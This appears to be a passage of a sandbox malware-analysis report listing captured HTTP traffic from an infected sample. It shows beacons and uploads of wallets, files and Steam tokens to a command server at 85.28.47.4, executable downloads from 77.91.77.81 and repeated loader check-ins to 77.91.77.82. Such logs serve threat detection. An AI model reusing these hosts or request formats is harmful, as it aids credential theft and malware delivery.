Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBAHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="message"wallets------GCGHJEBGHJKEBFHIJDHC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEHHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="message"files------HIDAKFIJJKJJJKEBKJEH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="file"------JEGHDAFIDGDAAKEBFHDA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="message"jbdtaijovg------KFBAECBAEGDGDHIEHIJJ--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 85.28.47.4Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 30 36 38 32 30 43 43 35 33 33 32 36 33 32 34 32 37 36 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="hwid"8506820CC5332632427659------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build"jony------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
